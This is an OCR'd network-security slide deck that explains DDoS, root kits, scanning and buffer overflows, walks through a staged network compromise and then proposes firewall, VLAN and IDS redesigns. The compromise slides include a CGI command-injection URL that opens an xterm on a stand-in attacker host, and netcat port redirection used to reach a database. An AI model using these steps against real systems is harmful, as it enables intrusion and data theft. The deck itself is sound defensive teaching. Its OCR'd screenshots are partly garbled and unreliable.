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A typical security network design
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A robust security design
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Distributed Denial of Service

(DDoS)
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Yahoo, Amazon.com, CNN.com, Ebay, Etrade, and others were all part
of the February 2000 distributed denial of service attack. Tools like
Tribe Flood Network (TFN), Trin00, stacheldraht, and shaft
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Smurf Attack
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Used by TFN (Tribe Flood Network )
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How DDoS Works

Scan for systems to hack

Install software to scan for,
compromise, and infect agents

Agents get loaded with remote
control attack software

Client issues commands to
handlers which

control agents in a

mass attack

Handlers

Agents
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Stacheldraht Attack

(German for Barbed Wire)
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Handlers notify
agents who then
flood the hacked
site preventing
legitimate users
access
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Root Kits

File Edit Wiew Favorites Tools Help
@ . o= 9 a) Q Gd 4 B~ = »
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Posted
August 29, 2000 by Hoglund

Developers
Eatest-Build

Progress
C¥S-Repository

Whitepapers
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Allows compromised machine to have custom versions of utilities and back doors

Hacker can operate without being detected

Most are UNIX based but NT are coming to the market

Networking - Connecting people to information through technology INEC_070



Scanning Tools

@] Nmap -- Free Stealth Port Scanner For Metwork Exploration & Security Audits. Runs on LinuwxdWind - Microsoft Internet Explorer E]@

File Edit ‘ew Favorites Tools  Help 1
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Address .ﬂ http: f i, insecure, argfnmap)
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Nmap stealth port
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Introduction Documentation Propaganda
> - Download 05 Detection Portability
Good Reading .

In The News Related Projects Thanks To

Security Lists

Introduction

Minap ("Network Mapper™) is an open source utility for networlke exploration or security auditing. Tt was designed to rapidly scan large
networles, although it worles fine agamst single hosts. Nmap uses raw [P packets m novel ways to determine what hosts are available on the
network, what services (ports) they are offering, what operating system (and OF version) they are runming, what type of packet
filtersffirewalls are i use, and dozens of other charactenistics. Mmap runs on most types of computers, and both console and graphical
versions are avalable. MNmap iz free software, avalable with full source code under the terms of the GITT GPL.

Minap is ..

« Flexible: Supports dozens of advanced techmaues for mapping out networks filled with IP filters, firewalls, routers, and other
obstacles. This meludes many port scanmng mechamisms (both TCP & TDE), OF detection, pings sweeps, and more, See the
documentation page.

o Powerful MNmap has been used to scan huge networks of literally hundreds of thousands of machines.

o Portable: Most operating systems are supported, including Linuz, OpenFreeet BED, Solaris, TRTH, Mac OF I, HP-T, Sun
03, and more. Windows support 13 in beta and we are not distributing binanes yet. See the portabiity page.

« Easy While Nmap offers a nich set of advanced features for power users, vou can start out as sunply as "nmap -O -53 fargethost”.
Both traditional command line and graphical (&) versions are avalable to suit yvour preference. Binanes are avalable for those who

0 Internet

www.insecure.nmap
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Application Layer Attacks

| Bite E#t Wiew Favostes Tools Help
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& Blocki ng Buffer Overflow Attacks - Microsoft Internet Explorer
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BugTrag, r00t, and Underground.Org
bring you

Swashing The Stack For Fun And Profirt

by Aleph One
alephifundsrground.ory

‘smash the stack’ [C programming] n. On many ¢ implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this 15 said to swash the stack, and can cause return frow the
routine to juep to & random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle

the stack; the term muny the stack 1 not used, &5 this is

never done intentionally. See spam: See also alias bug,

fandango on core, memory leak, precedence lossage, Overrun screw.

Introduction

gl | >
&] Dare [ [ ntemet 4

Links *> | Morton Antivirus E -

Address | | hbbpe v netwarkmagazine, comyarticle NMG2000051 150015

b aGo

CGI-BIN
Takes advantage of insecure coding
methods
New vulnerabilities constantly being
discovered
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Blocking Buffer Overflow Attacks
An easily avoided attack takes advantage of programming errors.
by Rik Farrow
Network Magazine P Utilities Y
11/01/99, 3:00 a.m. ET —
©h print this article
. . B e-mail this artich:
During the 1999 Black Hat security conference, & licenae thiz article
several secunty prachtioners moaned that there Vv
was nothing new happening i securtty. ot that te
nothing was happening, just that it was more of the same old stuff—stuff’ da
that should have been fixed years ago.
years e Cor,
>

Buffer Overflow

Http://lwww.networkmagazine.com/article/NMG20000511S0015

Specialized code build to overflow the buffers
Insecure coding at the heart of these functions
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Port Redirection Attack

Compromised
System A

Attacker

Allows traffic entering a compromised machine (i.e SysA/TCP/25 SMTP)
to be redirected to a different machine on a different port (SysB/TCP/23)

Hacker exploits trusted relationships System B

Root kit base install allows redirection process, files, and connections to be hidden
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Components of security threats
A typical security network design
Designing under siege

Design optimization

A robust security design
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Typical Network Design Today

Mainframe Module

Building Module

Back endé
database:

Internet Module Servers
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Access Router Access Control List (ACL)

n m
=<1
= Lol = |
\ 7 Back end:
............................................................ m m m
EST
ANY TCP/UDP
Replies
ICMP
ANY Echo/
Reply

Networking - Connecting people to information through technology INEC_130



Firewall Rules

m “
N\ Web Back end SQL
i Public Server Database
: Servers
............................................................. Public Internal SMTP
SMTP SMTP
Dual firewall configuration
o Any Any ICMP
Inbound traffic limited to Echo-reply

services on DMZ

Full outbound access allowed
(no traditional FTP)
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Components of security threats
A typical security network design
Designing under siege

Design optimization

A robust security design
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Anatomy of a Network Compromise

Mainframe Module

Building Module

Phase 1: Network Recon
Phase 2: “own” the system
Phase 3: Exploit trust
Phase 4: Reach for the gold

Phase 5: “own” the network

Server Module
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Network Recon

Learn about the site

Mainframe Module

Building Module

Dlscovery sequence

Ping sweep
Port scan
Whois, DNS, web pages

gressse s S Discovery results

Address ranges

Hosts

Services

Servers (smtp, dns, http,...)
) @ Outdated software like “bind”

Server Module Internet Module
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“Own a System”

Mainframe Module

Building Module

Backiendi

=

7 database:

iy = = AT :
: Fuch\rf» 7’
Internet Module: ggrvers : H

Server Module

Compromise one host

Obvious target is Web

Vulnerability scan

Send attack sequence
www.victim.com/cgi-gin/whois_raw.cgi?
Ffqdn=%)A/usr/X11R6/bin/xterm%20-
display%20hacker.machine.com:0
Xterm displayed on hacker machine

OS version detected

Hacker FTPs buffer overflow

Buffer overflow allows root access

Attacker now owns the system

Networking - Connecting people to information through technology
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Exploit Trust

Recon phase 2

... Mainframe Module .. Explore log files
Building Module . H

running processes

configuration files

A~ vt En s s sEEsEEE R R R R R R R nEnnnd utilize password tOOIS
- -

e N sniff

& Q database: Res u Its

i lez?

Server Module Internet Module Servers

Knows userid/passwords
| Knows communications

Knows protocols used
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Reach for the Gold

Access router blocks hacker
access to back end database

Use netcat to setup port redirection
on web server for port 25.

Redirect to back end database

port 22 (SSH)

Launch SSH from attack station
on port 25 to web server

Results in interactive session
with back end database

Root access due to cracked \
userid/passwords

Credit card numbers retrieved
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Own the Network

Mainframe Module

Take over vulnerable systems

= P e ¢ i It's easy - no firewalls,
: P : i no encryption, no ACLs...

¢ Do more pings, port scans,
: : sniffing, vulnerability scans

; ti k Exploit
LR b A

Server Module

Send Trojan emails

Install code for DDoS
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Components of security threats
A typical security network design
Designing under siege

Design optimization

A robust security design
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Threat Assistance

Application Root Kits  DDoS DDoS Password Port
Layer source victim cracking | redirection
System  §109),© 10 ,©
Admin
Intrusion
Detection /Q /Q //Q /Q
Model
Filtering
VLANs
Network /Q //Q /Q /Q /Q /@
audit
@
forwarding

INEC_230
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Changes in the Internet Module

Problems

Back endg Public services not protected
=/ database:

#

Internet links are vulnerable to DDoS

No effective visibility into host attacks

Pubnc\‘a%

: Servers

Solution - Firewall the access routers

Back end: Pro: No topology impact

. ol databaseé Pro: session vs packet tracking

Pro: multiple perimeters

Con: impacts router performance
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Change 2 in the Internet Module

Problems

Back endg Public services not protected
=/ database:

#

Internet links are vulnerable to DDoS

No effective visibility into host attacks

Pubnc\‘a%

: Servers

Solution - Third firewall interface
Pro: Doesn’t impact routers
Con: increased load on firewall

Con: topology impact
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Change 3 in the Internet Module

Problems

Back end Public services not protected
= database

#

Internet links are vulnerable to DDoS

No effective visibility into host attacks

Pubnc\‘a%

: Servers

: Solution - Do both
Pro: Maximum security
Pro: tiered filtering and audit model

Con: performance impact
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Impede DDoS Vulnerability

Have ISP filter for DDoS

RFC 2267:
Ingress packets must be from customer addresses
Egress packets cannot be from and to customer
Make sure ingress packets are valid

RFC 1918
ISP filtering on private IP addresses
Utilize private IP addresses internally
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Public Host Vulnerability

Utilize intrusion detection systems
Host based can stop at OS level
Network based can stop attacks at the network layer such as DDoS
False positives are number one concern - tuning critical
Carefully design in placement important

Network audit

Private VLANSs
Isolated ports can only communicate with promiscuous ports
Promiscuous ports can communicate with all ports
Community ports can communicate with other community members and all
promiscuous ports
AII within the same VLAN
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Server Module

Problem
ﬁl %I Absolutely no security
HEE B
S Solution

Segment department servers
department VLANs

Filter between VLANSs based on
network number

Private VLANSs for corporate-wide servers

= = Intrusion detection systems

Server Module

Network audits
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Building Module

Il AL I m

=— Problem
Disparate points of access
\f} \T]
Y 7S
: ‘ ‘ : Hosts are hard to protect and manage
Promiscuous Promiscuous

Port Port

Only One Subnet!

Solution

—— Primary  VLAN

VLANSs

m—— Community VLAN

" Community VLAN

== [solated VIAN |
N Na A v Tl Na N
\ JWJ URJRJIRS
Community Community Isolated
A ‘B’ Ports
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Mainframe Module

Mainframe Module

Problem
Mainframe security is often overlooked

What is the access control?

Solution
Firewall at access router
Consider encryption

Network audit
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WAN Module

Problem

Trust issues with Internet coexisting with

WAN Module private links

Physical issues

Packets in clear

Auditing is seldom done
Solution

Network audit

Encryption
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The Network Redesign

Mainframe Module

WAN Module

Server Module
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Hacker Prevention

Mainframe Module

WAN Module

Network compromise attack Server Module
Network recon: same level of success
Intrusion detection system alarmed security

“own” a system
Xterm would fail preventing the buffer overflow attack

Exploit trust
No interactive sessions possible from web to inside
Port redirection would fail
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Summary

Security is a system wide issue

Network security is only as strong o
as your weakest link

Network security is complex ‘
Good system administration is 242e8, %@\ R qv
at the core of network security Non T o
Examine your networks often e
Keep up with known attacks N jﬂ/%4

= -

Re-evaluate your security structure
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